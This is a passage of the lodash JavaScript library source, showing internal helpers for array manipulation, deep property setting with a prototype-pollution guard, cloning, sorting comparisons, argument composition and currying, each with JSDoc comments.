        var path = paths[index],
            value = baseGet(object, path);

        if (predicate(value, path)) {
          baseSet(result, castPath(path, object), value);
        }
      }
      return result;
    }

    /**
     * A specialized version of `baseProperty` which supports deep paths.
     *
     * @private
     * @param {Array|string} path The path of the property to get.
     * @returns {Function} Returns the new accessor function.
     */
    function basePropertyDeep(path) {
      return function(object) {
        return baseGet(object, path);
      };
    }

    /**
     * The base implementation of `_.pullAllBy` without support for iteratee
     * shorthands.
     *
     * @private
     * @param {Array} array The array to modify.
     * @param {Array} values The values to remove.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns `array`.
     */
    function basePullAll(array, values, iteratee, comparator) {
      var indexOf = comparator ? baseIndexOfWith : baseIndexOf,
          index = -1,
          length = values.length,
          seen = array;

      if (array === values) {
        values = copyArray(values);
      }
      if (iteratee) {
        seen = arrayMap(array, baseUnary(iteratee));
      }
      while (++index < length) {
        var fromIndex = 0,
            value = values[index],
            computed = iteratee ? iteratee(value) : value;

        while ((fromIndex = indexOf(seen, computed, fromIndex, comparator)) > -1) {
          if (seen !== array) {
            splice.call(seen, fromIndex, 1);
          }
          splice.call(array, fromIndex, 1);
        }
      }
      return array;
    }

    /**
     * The base implementation of `_.pullAt` without support for individual
     * indexes or capturing the removed elements.
     *
     * @private
     * @param {Array} array The array to modify.
     * @param {number[]} indexes The indexes of elements to remove.
     * @returns {Array} Returns `array`.
     */
    function basePullAt(array, indexes) {
      var length = array ? indexes.length : 0,
          lastIndex = length - 1;

      while (length--) {
        var index = indexes[length];
        if (length == lastIndex || index !== previous) {
          var previous = index;
          if (isIndex(index)) {
            splice.call(array, index, 1);
          } else {
            baseUnset(array, index);
          }
        }
      }
      return array;
    }

    /**
     * The base implementation of `_.random` without support for returning
     * floating-point numbers.
     *
     * @private
     * @param {number} lower The lower bound.
     * @param {number} upper The upper bound.
     * @returns {number} Returns the random number.
     */
    function baseRandom(lower, upper) {
      return lower + nativeFloor(nativeRandom() * (upper - lower + 1));
    }

    /**
     * The base implementation of `_.range` and `_.rangeRight` which doesn't
     * coerce arguments.
     *
     * @private
     * @param {number} start The start of the range.
     * @param {number} end The end of the range.
     * @param {number} step The value to increment or decrement by.
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Array} Returns the range of numbers.
     */
    function baseRange(start, end, step, fromRight) {
      var index = -1,
          length = nativeMax(nativeCeil((end - start) / (step || 1)), 0),
          result = Array(length);

      while (length--) {
        result[fromRight ? length : ++index] = start;
        start += step;
      }
      return result;
    }

    /**
     * The base implementation of `_.repeat` which doesn't coerce arguments.
     *
     * @private
     * @param {string} string The string to repeat.
     * @param {number} n The number of times to repeat the string.
     * @returns {string} Returns the repeated string.
     */
    function baseRepeat(string, n) {
      var result = '';
      if (!string || n < 1 || n > MAX_SAFE_INTEGER) {
        return result;
      }
      // Leverage the exponentiation by squaring algorithm for a faster repeat.
      // See https://en.wikipedia.org/wiki/Exponentiation_by_squaring for more details.
      do {
        if (n % 2) {
          result += string;
        }
        n = nativeFloor(n / 2);
        if (n) {
          string += string;
        }
      } while (n);

      return result;
    }

    /**
     * The base implementation of `_.rest` which doesn't validate or coerce arguments.
     *
     * @private
     * @param {Function} func The function to apply a rest parameter to.
     * @param {number} [start=func.length-1] The start position of the rest parameter.
     * @returns {Function} Returns the new function.
     */
    function baseRest(func, start) {
      return setToString(overRest(func, start, identity), func + '');
    }

    /**
     * The base implementation of `_.sample`.
     *
     * @private
     * @param {Array|Object} collection The collection to sample.
     * @returns {*} Returns the random element.
     */
    function baseSample(collection) {
      return arraySample(values(collection));
    }

    /**
     * The base implementation of `_.sampleSize` without param guards.
     *
     * @private
     * @param {Array|Object} collection The collection to sample.
     * @param {number} n The number of elements to sample.
     * @returns {Array} Returns the random elements.
     */
    function baseSampleSize(collection, n) {
      var array = values(collection);
      return shuffleSelf(array, baseClamp(n, 0, array.length));
    }

    /**
     * The base implementation of `_.set`.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to set.
     * @param {*} value The value to set.
     * @param {Function} [customizer] The function to customize path creation.
     * @returns {Object} Returns `object`.
     */
    function baseSet(object, path, value, customizer) {
      if (!isObject(object)) {
        return object;
      }
      path = castPath(path, object);

      var index = -1,
          length = path.length,
          lastIndex = length - 1,
          nested = object;

      while (nested != null && ++index < length) {
        var key = toKey(path[index]),
            newValue = value;

        if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
          return object;
        }

        if (index != lastIndex) {
          var objValue = nested[key];
          newValue = customizer ? customizer(objValue, key, nested) : undefined;
          if (newValue === undefined) {
            newValue = isObject(objValue)
              ? objValue
              : (isIndex(path[index + 1]) ? [] : {});
          }
        }
        assignValue(nested, key, newValue);
        nested = nested[key];
      }
      return object;
    }

    /**
     * The base implementation of `setData` without support for hot loop shorting.
     *
     * @private
     * @param {Function} func The function to associate metadata with.
     * @param {*} data The metadata.
     * @returns {Function} Returns `func`.
     */
    var baseSetData = !metaMap ? identity : function(func, data) {
      metaMap.set(func, data);
      return func;
    };

    /**
     * The base implementation of `setToString` without support for hot loop shorting.
     *
     * @private
     * @param {Function} func The function to modify.
     * @param {Function} string The `toString` result.
     * @returns {Function} Returns `func`.
     */
    var baseSetToString = !defineProperty ? identity : function(func, string) {
      return defineProperty(func, 'toString', {
        'configurable': true,
        'enumerable': false,
        'value': constant(string),
        'writable': true
      });
    };

    /**
     * The base implementation of `_.shuffle`.
     *
     * @private
     * @param {Array|Object} collection The collection to shuffle.
     * @returns {Array} Returns the new shuffled array.
     */
    function baseShuffle(collection) {
      return shuffleSelf(values(collection));
    }

    /**
     * The base implementation of `_.slice` without an iteratee call guard.
     *
     * @private
     * @param {Array} array The array to slice.
     * @param {number} [start=0] The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns the slice of `array`.
     */
    function baseSlice(array, start, end) {
      var index = -1,
          length = array.length;

      if (start < 0) {
        start = -start > length ? 0 : (length + start);
      }
      end = end > length ? length : end;
      if (end < 0) {
        end += length;
      }
      length = start > end ? 0 : ((end - start) >>> 0);
      start >>>= 0;

      var result = Array(length);
      while (++index < length) {
        result[index] = array[index + start];
      }
      return result;
    }

    /**
     * The base implementation of `_.some` without support for iteratee shorthands.
     *
     * @private
     * @param {Array|Object} collection The collection to iterate over.
     * @param {Function} predicate The function invoked per iteration.
     * @returns {boolean} Returns `true` if any element passes the predicate check,
     *  else `false`.
     */
    function baseSome(collection, predicate) {
      var result;

      baseEach(collection, function(value, index, collection) {
        result = predicate(value, index, collection);
        return !result;
      });
      return !!result;
    }

    /**
     * The base implementation of `_.sortedIndex` and `_.sortedLastIndex` which
     * performs a binary search of `array` to determine the index at which `value`
     * should be inserted into `array` in order to maintain its sort order.
     *
     * @private
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {boolean} [retHighest] Specify returning the highest qualified index.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     */
    function baseSortedIndex(array, value, retHighest) {
      var low = 0,
          high = array == null ? low : array.length;

      if (typeof value == 'number' && value === value && high <= HALF_MAX_ARRAY_LENGTH) {
        while (low < high) {
          var mid = (low + high) >>> 1,
              computed = array[mid];

          if (computed !== null && !isSymbol(computed) &&
              (retHighest ? (computed <= value) : (computed < value))) {
            low = mid + 1;
          } else {
            high = mid;
          }
        }
        return high;
      }
      return baseSortedIndexBy(array, value, identity, retHighest);
    }

    /**
     * The base implementation of `_.sortedIndexBy` and `_.sortedLastIndexBy`
     * which invokes `iteratee` for `value` and each element of `array` to compute
     * their sort ranking. The iteratee is invoked with one argument; (value).
     *
     * @private
     * @param {Array} array The sorted array to inspect.
     * @param {*} value The value to evaluate.
     * @param {Function} iteratee The iteratee invoked per element.
     * @param {boolean} [retHighest] Specify returning the highest qualified index.
     * @returns {number} Returns the index at which `value` should be inserted
     *  into `array`.
     */
    function baseSortedIndexBy(array, value, iteratee, retHighest) {
      var low = 0,
          high = array == null ? 0 : array.length;
      if (high === 0) {
        return 0;
      }

      value = iteratee(value);
      var valIsNaN = value !== value,
          valIsNull = value === null,
          valIsSymbol = isSymbol(value),
          valIsUndefined = value === undefined;

      while (low < high) {
        var mid = nativeFloor((low + high) / 2),
            computed = iteratee(array[mid]),
            othIsDefined = computed !== undefined,
            othIsNull = computed === null,
            othIsReflexive = computed === computed,
            othIsSymbol = isSymbol(computed);

        if (valIsNaN) {
          var setLow = retHighest || othIsReflexive;
        } else if (valIsUndefined) {
          setLow = othIsReflexive && (retHighest || othIsDefined);
        } else if (valIsNull) {
          setLow = othIsReflexive && othIsDefined && (retHighest || !othIsNull);
        } else if (valIsSymbol) {
          setLow = othIsReflexive && othIsDefined && !othIsNull && (retHighest || !othIsSymbol);
        } else if (othIsNull || othIsSymbol) {
          setLow = false;
        } else {
          setLow = retHighest ? (computed <= value) : (computed < value);
        }
        if (setLow) {
          low = mid + 1;
        } else {
          high = mid;
        }
      }
      return nativeMin(high, MAX_ARRAY_INDEX);
    }

    /**
     * The base implementation of `_.sortedUniq` and `_.sortedUniqBy` without
     * support for iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     */
    function baseSortedUniq(array, iteratee) {
      var index = -1,
          length = array.length,
          resIndex = 0,
          result = [];

      while (++index < length) {
        var value = array[index],
            computed = iteratee ? iteratee(value) : value;

        if (!index || !eq(computed, seen)) {
          var seen = computed;
          result[resIndex++] = value === 0 ? 0 : value;
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.toNumber` which doesn't ensure correct
     * conversions of binary, hexadecimal, or octal string values.
     *
     * @private
     * @param {*} value The value to process.
     * @returns {number} Returns the number.
     */
    function baseToNumber(value) {
      if (typeof value == 'number') {
        return value;
      }
      if (isSymbol(value)) {
        return NAN;
      }
      return +value;
    }

    /**
     * The base implementation of `_.toString` which doesn't convert nullish
     * values to empty strings.
     *
     * @private
     * @param {*} value The value to process.
     * @returns {string} Returns the string.
     */
    function baseToString(value) {
      // Exit early for strings to avoid a performance hit in some environments.
      if (typeof value == 'string') {
        return value;
      }
      if (isArray(value)) {
        // Recursively convert values (susceptible to call stack limits).
        return arrayMap(value, baseToString) + '';
      }
      if (isSymbol(value)) {
        return symbolToString ? symbolToString.call(value) : '';
      }
      var result = (value + '');
      return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
    }

    /**
     * The base implementation of `_.uniqBy` without support for iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new duplicate free array.
     */
    function baseUniq(array, iteratee, comparator) {
      var index = -1,
          includes = arrayIncludes,
          length = array.length,
          isCommon = true,
          result = [],
          seen = result;

      if (comparator) {
        isCommon = false;
        includes = arrayIncludesWith;
      }
      else if (length >= LARGE_ARRAY_SIZE) {
        var set = iteratee ? null : createSet(array);
        if (set) {
          return setToArray(set);
        }
        isCommon = false;
        includes = cacheHas;
        seen = new SetCache;
      }
      else {
        seen = iteratee ? [] : result;
      }
      outer:
      while (++index < length) {
        var value = array[index],
            computed = iteratee ? iteratee(value) : value;

        value = (comparator || value !== 0) ? value : 0;
        if (isCommon && computed === computed) {
          var seenIndex = seen.length;
          while (seenIndex--) {
            if (seen[seenIndex] === computed) {
              continue outer;
            }
          }
          if (iteratee) {
            seen.push(computed);
          }
          result.push(value);
        }
        else if (!includes(seen, computed, comparator)) {
          if (seen !== result) {
            seen.push(computed);
          }
          result.push(value);
        }
      }
      return result;
    }

    /**
     * The base implementation of `_.unset`.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {Array|string} path The property path to unset.
     * @returns {boolean} Returns `true` if the property is deleted, else `false`.
     */
    function baseUnset(object, path) {
      path = castPath(path, object);
      object = parent(object, path);
      return object == null || delete object[toKey(last(path))];
    }

    /**
     * The base implementation of `_.update`.
     *
     * @private
     * @param {Object} object The object to modify.
     * @param {Array|string} path The path of the property to update.
     * @param {Function} updater The function to produce the updated value.
     * @param {Function} [customizer] The function to customize path creation.
     * @returns {Object} Returns `object`.
     */
    function baseUpdate(object, path, updater, customizer) {
      return baseSet(object, path, updater(baseGet(object, path)), customizer);
    }

    /**
     * The base implementation of methods like `_.dropWhile` and `_.takeWhile`
     * without support for iteratee shorthands.
     *
     * @private
     * @param {Array} array The array to query.
     * @param {Function} predicate The function invoked per iteration.
     * @param {boolean} [isDrop] Specify dropping elements instead of taking them.
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Array} Returns the slice of `array`.
     */
    function baseWhile(array, predicate, isDrop, fromRight) {
      var length = array.length,
          index = fromRight ? length : -1;

      while ((fromRight ? index-- : ++index < length) &&
        predicate(array[index], index, array)) {}

      return isDrop
        ? baseSlice(array, (fromRight ? 0 : index), (fromRight ? index + 1 : length))
        : baseSlice(array, (fromRight ? index + 1 : 0), (fromRight ? length : index));
    }

    /**
     * The base implementation of `wrapperValue` which returns the result of
     * performing a sequence of actions on the unwrapped `value`, where each
     * successive action is supplied the return value of the previous.
     *
     * @private
     * @param {*} value The unwrapped value.
     * @param {Array} actions Actions to perform to resolve the unwrapped value.
     * @returns {*} Returns the resolved value.
     */
    function baseWrapperValue(value, actions) {
      var result = value;
      if (result instanceof LazyWrapper) {
        result = result.value();
      }
      return arrayReduce(actions, function(result, action) {
        return action.func.apply(action.thisArg, arrayPush([result], action.args));
      }, result);
    }

    /**
     * The base implementation of methods like `_.xor`, without support for
     * iteratee shorthands, that accepts an array of arrays to inspect.
     *
     * @private
     * @param {Array} arrays The arrays to inspect.
     * @param {Function} [iteratee] The iteratee invoked per element.
     * @param {Function} [comparator] The comparator invoked per element.
     * @returns {Array} Returns the new array of values.
     */
    function baseXor(arrays, iteratee, comparator) {
      var length = arrays.length;
      if (length < 2) {
        return length ? baseUniq(arrays[0]) : [];
      }
      var index = -1,
          result = Array(length);

      while (++index < length) {
        var array = arrays[index],
            othIndex = -1;

        while (++othIndex < length) {
          if (othIndex != index) {
            result[index] = baseDifference(result[index] || array, arrays[othIndex], iteratee, comparator);
          }
        }
      }
      return baseUniq(baseFlatten(result, 1), iteratee, comparator);
    }

    /**
     * This base implementation of `_.zipObject` which assigns values using `assignFunc`.
     *
     * @private
     * @param {Array} props The property identifiers.
     * @param {Array} values The property values.
     * @param {Function} assignFunc The function to assign values.
     * @returns {Object} Returns the new object.
     */
    function baseZipObject(props, values, assignFunc) {
      var index = -1,
          length = props.length,
          valsLength = values.length,
          result = {};

      while (++index < length) {
        var value = index < valsLength ? values[index] : undefined;
        assignFunc(result, props[index], value);
      }
      return result;
    }

    /**
     * Casts `value` to an empty array if it's not an array like object.
     *
     * @private
     * @param {*} value The value to inspect.
     * @returns {Array|Object} Returns the cast array-like object.
     */
    function castArrayLikeObject(value) {
      return isArrayLikeObject(value) ? value : [];
    }

    /**
     * Casts `value` to `identity` if it's not a function.
     *
     * @private
     * @param {*} value The value to inspect.
     * @returns {Function} Returns cast function.
     */
    function castFunction(value) {
      return typeof value == 'function' ? value : identity;
    }

    /**
     * Casts `value` to a path array if it's not one.
     *
     * @private
     * @param {*} value The value to inspect.
     * @param {Object} [object] The object to query keys on.
     * @returns {Array} Returns the cast property path array.
     */
    function castPath(value, object) {
      if (isArray(value)) {
        return value;
      }
      return isKey(value, object) ? [value] : stringToPath(toString(value));
    }

    /**
     * A `baseRest` alias which can be replaced with `identity` by module
     * replacement plugins.
     *
     * @private
     * @type {Function}
     * @param {Function} func The function to apply a rest parameter to.
     * @returns {Function} Returns the new function.
     */
    var castRest = baseRest;

    /**
     * Casts `array` to a slice if it's needed.
     *
     * @private
     * @param {Array} array The array to inspect.
     * @param {number} start The start position.
     * @param {number} [end=array.length] The end position.
     * @returns {Array} Returns the cast slice.
     */
    function castSlice(array, start, end) {
      var length = array.length;
      end = end === undefined ? length : end;
      return (!start && end >= length) ? array : baseSlice(array, start, end);
    }

    /**
     * A simple wrapper around the global [`clearTimeout`](https://mdn.io/clearTimeout).
     *
     * @private
     * @param {number|Object} id The timer id or timeout object of the timer to clear.
     */
    var clearTimeout = ctxClearTimeout || function(id) {
      return root.clearTimeout(id);
    };

    /**
     * Creates a clone of  `buffer`.
     *
     * @private
     * @param {Buffer} buffer The buffer to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Buffer} Returns the cloned buffer.
     */
    function cloneBuffer(buffer, isDeep) {
      if (isDeep) {
        return buffer.slice();
      }
      var length = buffer.length,
          result = allocUnsafe ? allocUnsafe(length) : new buffer.constructor(length);

      buffer.copy(result);
      return result;
    }

    /**
     * Creates a clone of `arrayBuffer`.
     *
     * @private
     * @param {ArrayBuffer} arrayBuffer The array buffer to clone.
     * @returns {ArrayBuffer} Returns the cloned array buffer.
     */
    function cloneArrayBuffer(arrayBuffer) {
      var result = new arrayBuffer.constructor(arrayBuffer.byteLength);
      new Uint8Array(result).set(new Uint8Array(arrayBuffer));
      return result;
    }

    /**
     * Creates a clone of `dataView`.
     *
     * @private
     * @param {Object} dataView The data view to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Object} Returns the cloned data view.
     */
    function cloneDataView(dataView, isDeep) {
      var buffer = isDeep ? cloneArrayBuffer(dataView.buffer) : dataView.buffer;
      return new dataView.constructor(buffer, dataView.byteOffset, dataView.byteLength);
    }

    /**
     * Creates a clone of `regexp`.
     *
     * @private
     * @param {Object} regexp The regexp to clone.
     * @returns {Object} Returns the cloned regexp.
     */
    function cloneRegExp(regexp) {
      var result = new regexp.constructor(regexp.source, reFlags.exec(regexp));
      result.lastIndex = regexp.lastIndex;
      return result;
    }

    /**
     * Creates a clone of the `symbol` object.
     *
     * @private
     * @param {Object} symbol The symbol object to clone.
     * @returns {Object} Returns the cloned symbol object.
     */
    function cloneSymbol(symbol) {
      return symbolValueOf ? Object(symbolValueOf.call(symbol)) : {};
    }

    /**
     * Creates a clone of `typedArray`.
     *
     * @private
     * @param {Object} typedArray The typed array to clone.
     * @param {boolean} [isDeep] Specify a deep clone.
     * @returns {Object} Returns the cloned typed array.
     */
    function cloneTypedArray(typedArray, isDeep) {
      var buffer = isDeep ? cloneArrayBuffer(typedArray.buffer) : typedArray.buffer;
      return new typedArray.constructor(buffer, typedArray.byteOffset, typedArray.length);
    }

    /**
     * Compares values to sort them in ascending order.
     *
     * @private
     * @param {*} value The value to compare.
     * @param {*} other The other value to compare.
     * @returns {number} Returns the sort order indicator for `value`.
     */
    function compareAscending(value, other) {
      if (value !== other) {
        var valIsDefined = value !== undefined,
            valIsNull = value === null,
            valIsReflexive = value === value,
            valIsSymbol = isSymbol(value);

        var othIsDefined = other !== undefined,
            othIsNull = other === null,
            othIsReflexive = other === other,
            othIsSymbol = isSymbol(other);

        if ((!othIsNull && !othIsSymbol && !valIsSymbol && value > other) ||
            (valIsSymbol && othIsDefined && othIsReflexive && !othIsNull && !othIsSymbol) ||
            (valIsNull && othIsDefined && othIsReflexive) ||
            (!valIsDefined && othIsReflexive) ||
            !valIsReflexive) {
          return 1;
        }
        if ((!valIsNull && !valIsSymbol && !othIsSymbol && value < other) ||
            (othIsSymbol && valIsDefined && valIsReflexive && !valIsNull && !valIsSymbol) ||
            (othIsNull && valIsDefined && valIsReflexive) ||
            (!othIsDefined && valIsReflexive) ||
            !othIsReflexive) {
          return -1;
        }
      }
      return 0;
    }

    /**
     * Used by `_.orderBy` to compare multiple properties of a value to another
     * and stable sort them.
     *
     * If `orders` is unspecified, all values are sorted in ascending order. Otherwise,
     * specify an order of "desc" for descending or "asc" for ascending sort order
     * of corresponding values.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {boolean[]|string[]} orders The order to sort by for each property.
     * @returns {number} Returns the sort order indicator for `object`.
     */
    function compareMultiple(object, other, orders) {
      var index = -1,
          objCriteria = object.criteria,
          othCriteria = other.criteria,
          length = objCriteria.length,
          ordersLength = orders.length;

      while (++index < length) {
        var result = compareAscending(objCriteria[index], othCriteria[index]);
        if (result) {
          if (index >= ordersLength) {
            return result;
          }
          var order = orders[index];
          return result * (order == 'desc' ? -1 : 1);
        }
      }
      // Fixes an `Array#sort` bug in the JS engine embedded in Adobe applications
      // that causes it, under certain circumstances, to provide the same value for
      // `object` and `other`. See https://github.com/jashkenas/underscore/pull/1247
      // for more details.
      //
      // This also ensures a stable sort in V8 and other engines.
      // See https://bugs.chromium.org/p/v8/issues/detail?id=90 for more details.
      return object.index - other.index;
    }

    /**
     * Creates an array that is the composition of partially applied arguments,
     * placeholders, and provided arguments into a single array of arguments.
     *
     * @private
     * @param {Array} args The provided arguments.
     * @param {Array} partials The arguments to prepend to those provided.
     * @param {Array} holders The `partials` placeholder indexes.
     * @params {boolean} [isCurried] Specify composing for a curried function.
     * @returns {Array} Returns the new array of composed arguments.
     */
    function composeArgs(args, partials, holders, isCurried) {
      var argsIndex = -1,
          argsLength = args.length,
          holdersLength = holders.length,
          leftIndex = -1,
          leftLength = partials.length,
          rangeLength = nativeMax(argsLength - holdersLength, 0),
          result = Array(leftLength + rangeLength),
          isUncurried = !isCurried;

      while (++leftIndex < leftLength) {
        result[leftIndex] = partials[leftIndex];
      }
      while (++argsIndex < holdersLength) {
        if (isUncurried || argsIndex < argsLength) {
          result[holders[argsIndex]] = args[argsIndex];
        }
      }
      while (rangeLength--) {
        result[leftIndex++] = args[argsIndex++];
      }
      return result;
    }

    /**
     * This function is like `composeArgs` except that the arguments composition
     * is tailored for `_.partialRight`.
     *
     * @private
     * @param {Array} args The provided arguments.
     * @param {Array} partials The arguments to append to those provided.
     * @param {Array} holders The `partials` placeholder indexes.
     * @params {boolean} [isCurried] Specify composing for a curried function.
     * @returns {Array} Returns the new array of composed arguments.
     */
    function composeArgsRight(args, partials, holders, isCurried) {
      var argsIndex = -1,
          argsLength = args.length,
          holdersIndex = -1,
          holdersLength = holders.length,
          rightIndex = -1,
          rightLength = partials.length,
          rangeLength = nativeMax(argsLength - holdersLength, 0),
          result = Array(rangeLength + rightLength),
          isUncurried = !isCurried;

      while (++argsIndex < rangeLength) {
        result[argsIndex] = args[argsIndex];
      }
      var offset = argsIndex;
      while (++rightIndex < rightLength) {
        result[offset + rightIndex] = partials[rightIndex];
      }
      while (++holdersIndex < holdersLength) {
        if (isUncurried || argsIndex < argsLength) {
          result[offset + holders[holdersIndex]] = args[argsIndex++];
        }
      }
      return result;
    }

    /**
     * Copies the values of `source` to `array`.
     *
     * @private
     * @param {Array} source The array to copy values from.
     * @param {Array} [array=[]] The array to copy values to.
     * @returns {Array} Returns `array`.
     */
    function copyArray(source, array) {
      var index = -1,
          length = source.length;

      array || (array = Array(length));
      while (++index < length) {
        array[index] = source[index];
      }
      return array;
    }

    /**
     * Copies properties of `source` to `object`.
     *
     * @private
     * @param {Object} source The object to copy properties from.
     * @param {Array} props The property identifiers to copy.
     * @param {Object} [object={}] The object to copy properties to.
     * @param {Function} [customizer] The function to customize copied values.
     * @returns {Object} Returns `object`.
     */
    function copyObject(source, props, object, customizer) {
      var isNew = !object;
      object || (object = {});

      var index = -1,
          length = props.length;

      while (++index < length) {
        var key = props[index];

        var newValue = customizer
          ? customizer(object[key], source[key], key, object, source)
          : undefined;

        if (newValue === undefined) {
          newValue = source[key];
        }
        if (isNew) {
          baseAssignValue(object, key, newValue);
        } else {
          assignValue(object, key, newValue);
        }
      }
      return object;
    }

    /**
     * Copies own symbols of `source` to `object`.
     *
     * @private
     * @param {Object} source The object to copy symbols from.
     * @param {Object} [object={}] The object to copy symbols to.
     * @returns {Object} Returns `object`.
     */
    function copySymbols(source, object) {
      return copyObject(source, getSymbols(source), object);
    }

    /**
     * Copies own and inherited symbols of `source` to `object`.
     *
     * @private
     * @param {Object} source The object to copy symbols from.
     * @param {Object} [object={}] The object to copy symbols to.
     * @returns {Object} Returns `object`.
     */
    function copySymbolsIn(source, object) {
      return copyObject(source, getSymbolsIn(source), object);
    }

    /**
     * Creates a function like `_.groupBy`.
     *
     * @private
     * @param {Function} setter The function to set accumulator values.
     * @param {Function} [initializer] The accumulator object initializer.
     * @returns {Function} Returns the new aggregator function.
     */
    function createAggregator(setter, initializer) {
      return function(collection, iteratee) {
        var func = isArray(collection) ? arrayAggregator : baseAggregator,
            accumulator = initializer ? initializer() : {};

        return func(collection, setter, getIteratee(iteratee, 2), accumulator);
      };
    }

    /**
     * Creates a function like `_.assign`.
     *
     * @private
     * @param {Function} assigner The function to assign values.
     * @returns {Function} Returns the new assigner function.
     */
    function createAssigner(assigner) {
      return baseRest(function(object, sources) {
        var index = -1,
            length = sources.length,
            customizer = length > 1 ? sources[length - 1] : undefined,
            guard = length > 2 ? sources[2] : undefined;

        customizer = (assigner.length > 3 && typeof customizer == 'function')
          ? (length--, customizer)
          : undefined;

        if (guard && isIterateeCall(sources[0], sources[1], guard)) {
          customizer = length < 3 ? undefined : customizer;
          length = 1;
        }
        object = Object(object);
        while (++index < length) {
          var source = sources[index];
          if (source) {
            assigner(object, source, index, customizer);
          }
        }
        return object;
      });
    }

    /**
     * Creates a `baseEach` or `baseEachRight` function.
     *
     * @private
     * @param {Function} eachFunc The function to iterate over a collection.
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new base function.
     */
    function createBaseEach(eachFunc, fromRight) {
      return function(collection, iteratee) {
        if (collection == null) {
          return collection;
        }
        if (!isArrayLike(collection)) {
          return eachFunc(collection, iteratee);
        }
        var length = collection.length,
            index = fromRight ? length : -1,
            iterable = Object(collection);

        while ((fromRight ? index-- : ++index < length)) {
          if (iteratee(iterable[index], index, iterable) === false) {
            break;
          }
        }
        return collection;
      };
    }

    /**
     * Creates a base function for methods like `_.forIn` and `_.forOwn`.
     *
     * @private
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new base function.
     */
    function createBaseFor(fromRight) {
      return function(object, iteratee, keysFunc) {
        var index = -1,
            iterable = Object(object),
            props = keysFunc(object),
            length = props.length;

        while (length--) {
          var key = props[fromRight ? length : ++index];
          if (iteratee(iterable[key], key, iterable) === false) {
            break;
          }
        }
        return object;
      };
    }

    /**
     * Creates a function that wraps `func` to invoke it with the optional `this`
     * binding of `thisArg`.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {*} [thisArg] The `this` binding of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createBind(func, bitmask, thisArg) {
      var isBind = bitmask & WRAP_BIND_FLAG,
          Ctor = createCtor(func);

      function wrapper() {
        var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
        return fn.apply(isBind ? thisArg : this, arguments);
      }
      return wrapper;
    }

    /**
     * Creates a function like `_.lowerFirst`.
     *
     * @private
     * @param {string} methodName The name of the `String` case method to use.
     * @returns {Function} Returns the new case function.
     */
    function createCaseFirst(methodName) {
      return function(string) {
        string = toString(string);

        var strSymbols = hasUnicode(string)
          ? stringToArray(string)
          : undefined;

        var chr = strSymbols
          ? strSymbols[0]
          : string.charAt(0);

        var trailing = strSymbols
          ? castSlice(strSymbols, 1).join('')
          : string.slice(1);

        return chr[methodName]() + trailing;
      };
    }

    /**
     * Creates a function like `_.camelCase`.
     *
     * @private
     * @param {Function} callback The function to combine each word.
     * @returns {Function} Returns the new compounder function.
     */
    function createCompounder(callback) {
      return function(string) {
        return arrayReduce(words(deburr(string).replace(reApos, '')), callback, '');
      };
    }

    /**
     * Creates a function that produces an instance of `Ctor` regardless of
     * whether it was invoked as part of a `new` expression or by `call` or `apply`.
     *
     * @private
     * @param {Function} Ctor The constructor to wrap.
     * @returns {Function} Returns the new wrapped function.
     */
    function createCtor(Ctor) {
      return function() {
        // Use a `switch` statement to work with class constructors. See
        // http://ecma-international.org/ecma-262/7.0/#sec-ecmascript-function-objects-call-thisargument-argumentslist
        // for more details.
        var args = arguments;
        switch (args.length) {
          case 0: return new Ctor;
          case 1: return new Ctor(args[0]);
          case 2: return new Ctor(args[0], args[1]);
          case 3: return new Ctor(args[0], args[1], args[2]);
          case 4: return new Ctor(args[0], args[1], args[2], args[3]);
          case 5: return new Ctor(args[0], args[1], args[2], args[3], args[4]);
          case 6: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5]);
          case 7: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
        }
        var thisBinding = baseCreate(Ctor.prototype),
            result = Ctor.apply(thisBinding, args);

        // Mimic the constructor's `return` behavior.
        // See https://es5.github.io/#x13.2.2 for more details.
        return isObject(result) ? result : thisBinding;
      };
    }

    /**
     * Creates a function that wraps `func` to enable currying.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {number} arity The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createCurry(func, bitmask, arity) {
      var Ctor = createCtor(func);

      function wrapper() {
        var length = arguments.length,
            args = Array(length),
            index = length,
            placeholder = getHolder(wrapper);

        while (index--) {
          args[index] = arguments[index];
        }
        var holders = (length < 3 && args[0] !== placeholder && args[length - 1] !== placeholder)
          ? []
          : replaceHolders(args, placeholder);

        length -= holders.length;
        if (length < arity) {
          return createRecurry(
            func, bitmask, createHybrid, wrapper.placeholder, undefined,
            args, holders, undefined, undefined, arity - length);
        }
        var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
        return apply(fn, this, args);
      }
      return wrapper;
    }

    /**
     * Creates a `_.find` or `_.findLast` function.
     *
     * @private
     * @param {Function} findIndexFunc The function to find the collection index.
     * @returns {Function} Returns the new find function.
     */
